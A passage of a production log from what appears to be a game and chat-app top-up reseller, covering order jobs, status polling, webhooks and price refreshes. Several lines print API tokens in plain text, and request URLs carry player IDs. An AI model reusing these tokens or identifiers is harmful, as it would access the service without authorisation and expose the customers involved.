[2026-03-24 01:08:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"processed":1,"errors":0} 
[2026-03-24 01:08:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434} 
[2026-03-24 01:08:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1734  
[2026-03-24 01:09:49] production.INFO: Constructing job for order: 178502  
[2026-03-24 01:09:52] production.INFO: Handling job for order: 178502  
[2026-03-24 01:09:52] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 01:09:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:09:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=457f2835-319c-46b6-ba93-c1e35f0bdd38&Player_ID=0932009846  
[2026-03-24 01:09:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=457f2835-319c-46b6-ba93-c1e35f0bdd38&Player_ID=0932009846","has_body":false} 
[2026-03-24 01:09:53] production.INFO: Operation sent successfully {"operation_id":163435,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-d0CIlw5-1774303792","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 01:09:53"}},"processed_data":{"order_number":"ORD-d0CIlw5-1774303792","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 01:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02"} 
[2026-03-24 01:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","total_operations":5,"sites_count":2} 
[2026-03-24 01:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-d0CIlw5-1774303792"]} 
[2026-03-24 01:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 01:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 01:10:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:10:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"count":1} 
[2026-03-24 01:10:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"count":1} 
[2026-03-24 01:10:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"user_id":903,"notification_type":"order_approved","reference_id":178502} 
[2026-03-24 01:10:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:10:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:10:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"processed":1,"errors":0} 
[2026-03-24 01:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435,"processed":1,"errors":0} 
[2026-03-24 01:10:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"v016zWFp1u1HmOVA56awI7tl4ZGdLcNt","execution_time":"2026-03-24 01:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-d0CIlw5-1774303792","operation_id":163435} 
[2026-03-24 01:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 01:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 01:10:04] production.INFO: async() رجع: true  
[2026-03-24 01:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:10:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:10:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 01:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02"} 
[2026-03-24 01:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","total_operations":4,"sites_count":1} 
[2026-03-24 01:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Ut4uRD35S7ys2Q25Glg7IpJeN6ZzIfWG","execution_time":"2026-03-24 01:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:12:05] production.INFO: Constructing job for order: 178503  
[2026-03-24 01:12:08] production.INFO: Handling job for order: 178503  
[2026-03-24 01:12:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:12:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:12:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=9f94db54-6960-4c0e-b45b-108f170452e9&Player_ID=4347600  
[2026-03-24 01:12:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=9f94db54-6960-4c0e-b45b-108f170452e9&Player_ID=4347600","has_body":false} 
[2026-03-24 01:12:09] production.INFO: Operation sent successfully {"operation_id":163436,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YwvXW-1774303929","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 01:12:09"}},"processed_data":{"order_number":"ORD-YwvXW-1774303929","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 01:12:28] production.INFO: Constructing job for order: 178504  
[2026-03-24 01:12:30] production.INFO: Handling job for order: 178504  
[2026-03-24 01:12:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:12:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:12:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=18000&uuid=319eb7c9-6541-4d07-948f-b0047982d32c&Player_ID=589084795  
[2026-03-24 01:12:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=18000&uuid=319eb7c9-6541-4d07-948f-b0047982d32c&Player_ID=589084795","has_body":false} 
[2026-03-24 01:12:31] production.INFO: Operation sent successfully {"operation_id":163437,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-prtetR-1774303951","amount":1.8271349999999999536015593548654578626155853271484375,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 01:12:31"}},"processed_data":{"order_number":"ORD-prtetR-1774303951","amount":1.8271349999999999536015593548654578626155853271484375,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 01:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01"} 
[2026-03-24 01:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","total_operations":6,"sites_count":1} 
[2026-03-24 01:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-YwvXW-1774303929","ORD-prtetR-1774303951"]} 
[2026-03-24 01:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:14:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 01:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-prtetR-1774303951","operation_id":163437} 
[2026-03-24 01:14:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"processed":1,"skipped":5,"updates_prepared":1} 
[2026-03-24 01:14:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:14:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"count":1} 
[2026-03-24 01:14:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"count":1} 
[2026-03-24 01:14:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"user_id":802,"notification_type":"order_approved","reference_id":178503} 
[2026-03-24 01:14:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:14:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:14:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"processed":1,"errors":0} 
[2026-03-24 01:14:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436,"processed":1,"errors":0} 
[2026-03-24 01:14:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VB4uoeKBGf0BqPKyv1GeSgzURlTXHe5U","execution_time":"2026-03-24 01:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YwvXW-1774303929","operation_id":163436} 
[2026-03-24 01:14:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 01:14:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-prtetR-1774303951","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 01:14:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-prtetR-1774303951","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 01:14:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 01:14:06] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":178504} 
[2026-03-24 01:14:06] production.INFO: Order updated successfully. Order ID: 178504, Status: completed  
[2026-03-24 01:14:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-prtetR-1774303951","status":"completed","codes_count":0} 
[2026-03-24 01:14:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 01:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 01:15:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 01:15:03] production.INFO: async() رجع: true  
[2026-03-24 01:15:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:15:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:15:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:15:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:15:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:15:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:15:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:15:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:15:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:15:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:15:46] production.INFO: Constructing job for order: 178505  
[2026-03-24 01:15:47] production.INFO: Handling job for order: 178505  
[2026-03-24 01:15:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:15:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:15:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=3c400d37-bee8-4d42-97f6-224d8d0f4931&Player_ID=471156  
[2026-03-24 01:15:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=3c400d37-bee8-4d42-97f6-224d8d0f4931&Player_ID=471156","has_body":false} 
[2026-03-24 01:15:48] production.INFO: Operation sent successfully {"operation_id":163438,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zFPet-1774304147","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 01:15:48"}},"processed_data":{"order_number":"ORD-zFPet-1774304147","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 01:15:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-zFPet-1774304147","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 01:15:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-zFPet-1774304147","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 01:15:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 01:15:51] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178505} 
[2026-03-24 01:15:51] production.INFO: Order updated successfully. Order ID: 178505, Status: completed  
[2026-03-24 01:15:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-zFPet-1774304147","status":"completed","codes_count":0} 
[2026-03-24 01:15:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 01:16:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03"} 
[2026-03-24 01:16:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","total_operations":4,"sites_count":1} 
[2026-03-24 01:16:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:16:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd"} 
